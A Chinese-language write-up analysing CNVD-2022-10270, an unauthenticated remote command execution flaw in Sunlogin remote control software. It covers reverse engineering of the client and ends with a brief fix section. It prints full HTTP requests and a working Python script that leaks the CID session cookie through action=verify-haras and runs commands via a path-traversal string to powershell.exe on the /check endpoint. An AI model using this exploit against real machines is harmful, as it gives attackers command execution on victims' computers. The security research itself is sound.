向日葵 CNVD-2022-10270分析

最近来看了看这个刚出的CNVD-2022-10270,与其他cve不同的是这个CNVD-2022-10270涉及到二进制的知识比较多。

这个主要危害是可以任意命令执行,并返回相应回显。

向日葵是什么

向日葵远程控制软件是一款阳光的远程控制及远程桌面产品,通过向日葵你可以在世界上任何地点、任何网络中访问并远程控制你家里或办公室的电脑主机。向日葵是一款获得微软认证的远程控制软件,界面友好,简单易用,安全放心。向日葵和全球知名企业高通创锐讯合作推出全球首个从网络芯片实现远程开机/唤醒的一体化远程控制的解决方案。你还可以使用向日葵远程摄像头进行远程监控,轻松打造360度无死角、零成本家庭安防。向日葵远程控制软件已广泛应用于个人电脑,企业PC/服务器,网吧,校园,酒店等领域。

简单来说就是一个可以实现远程操控的软件。实际上使用还是很普及。

漏洞分析过程

网上的很多文章都只是复现了一个过程,但是感觉说服力不是太强,很多地方都找不到原因,这里我尽量通过我自己的理解去猜测第一个发现这个漏洞的师傅的思路是怎样的。

环境搭建

很多复现文章都是只在单机上进行复现,但是实际上这样会失去很多有用的日志信息,而且实际上那个pdf中的playload估计都参考了日志。

这里所以最好还是使用双机,一个真机,一个虚拟机。

安装好即可。

端口

都知道运行软件的话,会开一个4w以上的监听端口到本机,实际上应该是出自于日志中的这个地方。

打开软件使用命令查看端口

tasklist /svc | findstr "SunloginClient.exe"

netstat -ano | findstr xxxx

然后去查看日志中的信息,并且使用xrkrce工具扫描下可利用的端口。

所以我们完全可以通过日志中的字符串来找到exe对应代码。

upx脱壳后,我们对[service] start listen OK,字符进行交叉引用。

如何找到的CID

这个cid,感觉应该就是session,可以理解为进行身份验证一类的东西。

我们尝试先通过识别码,进行一次远程连接,然后去查看日志。

我们可以看到日志里面居然记录了cid,还有我们http请求的一些信息,而且根据http请求的内容来看,这里是在验证登录,这里就为我们去用ida找到关键函数提供了关键字符串。

同样,我们去ida中定位到关键位置,进入sub_140E1C954,这个函数是cgi-bin/rpc接口的处理函数。

这里我先放出日志中的那几条http请求。

/cgi-bin/rpc?action=login%2Dtype&, version: HTTP/1.1

/cgi-bin/rpc?action=login%2Dtype&, plugin:cgi-bin, session:

/cgi-bin/rpc?action=fast%2Dlogin&plugin=desktop&fastcode=k105396229&use_custom_password=1&hostname=xxxxx&verify_string=13unLp&, version: HTTP/1.1


/cgi-bin/rpc?action=fast%2Dlogin&plugin=desktop&fastcode=k105396229&use_custom_password=1&hostname=xxxxx&verify_string=13unLp&, plugin:cgi-bin, session:

从上面的4个请求我们可以知道,action是某种类型,fastcode是伙伴识别码,verify_string是验证码,use_custom_password可能衡唯1,hostname是真机的名称。所以playload实际上也是通过这些数据写出来的。

接下来我们挨着挨着看代码。

尝试action=login-type。

尝试verify-haras。

可以看到,进入返回了cid,这也是最重要的,有了cid相当于就已经可以身份验证了。而且我猜测第一个rce的师傅估计也是这样试出来的,因为这个程序不好动调,创建了3个exe,只靠静态看实际上可能并不能看出这里能返回cid。

尝试fast-login,并且不为bind-request,这个if条件里面代码比较多,还是先看看代码。

这里只展开了一些关键部分,然后尝试去发包,可以发现实际上只需要4个参数,就可以获得CID。

返回了Set-Cookie: CID=KFFQnos219TYGPyJ5TofK7GjYxY78EYT。

所以上面两种方式可以获得CID,一种是action=verify-haras,一种是正常利用伙伴识别码和验证码。而第一种实际上就是漏洞所在,这种情况是不应该返回cid的。

漏洞利用

我们知道了当action=verify-haras时,就可以泄露pid,可是如何利用呢。这就必须要到sub_140E1C954函数的上一级sub_140E21528去分析其他接口了,这里接口很多,我就只分析那个check接口了,函数为sub_140E1B788。


然后查看sub_140E20B64函数,典型的远程cmd,可以参考我另一篇文章Windows-Hack-Programming。

调用check接口传入cmd命令。

POST /cgi-bin/rpc HTTP/1.1
Host: 192.168.0.189:49721
Proxy-Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: SLRC/11.0.0.33162 (Windows,x64)Chrome/98.0.4758.82
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 19

action=verify-haras

GET /check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+ipconfig version: HTTP/1.1
Host: 192.168.0.189:49721
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: close
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: CID=dmPqDgSa8jOYgp1Iu1U7l1HbRTVJwZL3

然后这里本来是想发包的,但是这个cid好像更新的比较快,所以搞了个脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

import requests
import json
import sys
session = requests.session()

# host = sys.argv[1]
# cmd=sys.argv[2]

host = "192.168.0.189:49709"
cmd="ipconfig"
burp0_url = "http://"+host+"/cgi-bin/rpc?action=verify-haras"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate", "Connection": "close",
"Upgrade-Insecure-Requests": "1",
"Cache-Control": "max-age=0"}
res = json.loads(session.get(burp0_url, headers=burp0_headers).text)
token = res.get('verify_string')
print("[*] Token get: {}".format(token))

check_header={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0",
"host" : "192.168.0.189:49709",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate", "Connection": "close",
"Upgrade-Insecure-Requests": "1",
"Cache-Control": "max-age=0",
"Cookie": "CID={}".format(token) }
check_url="http://"+host+"/check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+"+cmd
resposen=requests.get(check_url,headers=check_header).text
print(resposen)

漏洞修复

肯定就是修复action=verify-haras了,修改成不会返回cid。然后我去更新了下,发现upx不能脱壳了,手脱壳后找不到关键词,并且日志也不在记录那个端口,远程连接需要先创号。